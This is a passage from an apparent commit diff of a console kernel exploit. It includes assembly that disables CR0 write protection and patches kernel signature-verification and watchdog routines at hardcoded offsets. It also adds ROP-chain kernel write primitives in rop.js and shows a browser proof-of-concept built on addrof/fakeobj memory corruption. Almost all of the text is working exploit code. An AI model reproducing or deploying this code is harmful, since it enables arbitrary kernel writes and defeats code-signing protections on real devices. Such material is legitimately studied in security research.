; mov qword ptr [rax], rdi
; nop
; nop
; movabs rax, swd_flag
; mov qword ptr [rax], 0x1
; jmp kthread_exit
; patch2
; jmp patch1
; (void)
write_swd_patch:
push rbp
mov rbp, rsp
mov rax, cr0
and rax, 0xFFFFFFFFFFFEFFFF
mov cr0, rax
mov rdi, qword [swd_patch_1]
mov dword [rdi], 0x90909090
mov dword [rdi + 0x4], 0xB8489090
mov rsi, qword [swd_thread]
mov qword [rdi + 0x8], rsi
mov dword [rdi + 0x10], 0x3C8B4865
mov dword [rdi + 0x14], 0x00000025
mov dword [rdi + 0x18], 0x38894800
mov dword [rdi + 0x1C], 0xB8489090
mov rsi, qword [swd_flag]
mov qword [rdi + 0x20], rsi
mov dword [rdi + 0x28], 0x0100C748
mov dword [rdi + 0x2C], 0xE9000000
lea rsi, [rdi + 0x34]
mov rdx, qword [kthread_exit]
sub rdx, rsi
mov dword [rdi + 0x30], edx
mov rsi, qword [swd_patch_2]
lea rdx, [rsi + 0x5]
sub rdi, rdx
mov edi, edi
shl rdi, 0x8
or rdi, 0xE9
mov qword [rsi], rdi
or rax, 0x10000
mov cr0, rax
pop rbp
ret
; (void)
write_veri_patch:
push rbp
mov rbp, rsp
mov rax, cr0
and rax, 0xFFFFFFFFFFFEFFFF
mov cr0, rax
mov rdi, qword [veri_pfs_patch]
mov dword [rdi], 0x00C3C031;
mov rdi, qword [veri_sbl_patch]
mov dword [rdi], 0x00C3C031;
mov rdi, qword [veri_loadable_patch]
mov dword [rdi], 0x00C3C031;
mov rdi, qword [veri_init_patch]
mov dword [rdi], 0x00C3C031;
mov rdi, qword [kernelbase]
mov dword [rdi + 0x1F1E01], 0x9090F631
mov dword [rdi + 0x1F1E05], 0x9090C931
mov dword [rdi + 0x1F1E09], 0x9090D231
mov dword [rdi + 0x1F1E3E], 0x9090C931
or rax, 0x10000
mov cr0, rax
call [veri_shutdown]
mov rax, cr0
and rax, 0xFFFFFFFFFFFEFFFF
mov cr0, rax
mov rdi, qword [veri_shutdown]
mov dword [rdi], 0x00C3C031;
or rax, 0x10000
mov cr0, rax
pop rbp
ret
;get_kernel_base:
; mov ecx, 0xC0000082
; rdmsr
; shl rdx, 0x20
; or rax, rdx
; sub rax, 0x1C0
; ret
;
;infloop:
; jmp infloop
; DATA
event1: db 'system_suspend_phase2_pre_sync', 0
event2: db 'system_resume_phase2', 0
event3: db 'system_resume_phase3', 0
align 8
kernelbase: dq 0
eventhandler_find_list: dq 0xF88F0
_mtx_unlock_flags: dq 0x2EF170
ktdsuspend_global_eventhandler_iterator_func: dq 0x18DF0
ktdresume_global_eventhandler_iterator_func: dq 0x18EF0
SceSblSysVeriThrGlobal: dq 0x2654110
kthread_exit: dq 0x97230
ksched_yield: dq 0x402E60
swd_flag: dq 0x1520108
swd_thread: dq 0x1520100
swd_patch_1: dq 0x462D20
swd_patch_2: dq 0x462DFC
veri_pfs_patch: dq 0x6259a0
veri_sbl_patch: dq 0x6268d0
veri_loadable_patch: dq 0x625dc0
veri_init_patch: dq 0x626290
veri_shutdown: dq 0x626720
align 4

21
rop.js
View File

@ -1,5 +1,5 @@
const stack_sz = 0x40000; const stack_sz = 0x40000;
const reserve_upper_stack = 0x8000; const reserve_upper_stack = 0x10000;
const stack_reserved_idx = reserve_upper_stack / 4; const stack_reserved_idx = reserve_upper_stack / 4;
@ -80,6 +80,10 @@ window.rop = function () {
this.push(r9); this.push(r9);
} }
if (this.stack.add32(this.count * 0x8).low & 0x8) {
this.push(gadgets["ret"]);
}
this.push(rip); this.push(rip);
return this; return this;
} }
@ -148,6 +152,7 @@ window.rop = function () {
this.push(qword); this.push(qword);
this.push(gadgets["mov [rax], rsi"]); this.push(gadgets["mov [rax], rsi"]);
} }
this.kwrite4 = function (offset, dword) { this.kwrite4 = function (offset, dword) {
this.rax_kernel(offset); this.rax_kernel(offset);
this.push(gadgets["pop rdx"]); this.push(gadgets["pop rdx"]);
@ -155,6 +160,20 @@ window.rop = function () {
this.push(gadgets["mov [rax], edx"]); this.push(gadgets["mov [rax], edx"]);
} }
this.kwrite2 = function (offset, word) {
this.rax_kernel(offset);
this.push(gadgets["pop rcx"]);
this.push(word);
this.push(gadgets["mov [rax], cx"]);
}
this.kwrite1 = function (offset, byte) {
this.rax_kernel(offset);
this.push(gadgets["pop rcx"]);
this.push(byte);
this.push(gadgets["mov [rax], cl"]);
}
this.kwrite8_kaddr = function (offset1, offset2) { this.kwrite8_kaddr = function (offset1, offset2) {
this.rax_kernel(offset2); this.rax_kernel(offset2);
this.push(gadgets["mov rdx, rax"]); this.push(gadgets["mov rdx, rax"]);

View File

@ -385,9 +385,12 @@ function poc() {
var expl_slave = new Uint32Array(2); var expl_slave = new Uint32Array(2);
var addrof_expl_slave = addrof(expl_slave); var addrof_expl_slave = addrof(expl_slave);
var m = fakeobj(addrof(obj) + 16); var m = fakeobj(addrof(obj) + 16);
obj.buffer = expl_slave;
m[7] = 1;
obj.buffer = expl_master; obj.buffer = expl_master;
m[4] = addrof_expl_slave; m[4] = addrof_expl_slave;
m[5] = (addrof_expl_slave - addrof_expl_slave % 0x100000000) / 0x100000000; m[5] = (addrof_expl_slave - addrof_expl_slave % 0x100000000) / 0x100000000;
m[7] = 1;
var prim = { var prim = {
write8: function (addr, value) { write8: function (addr, value) {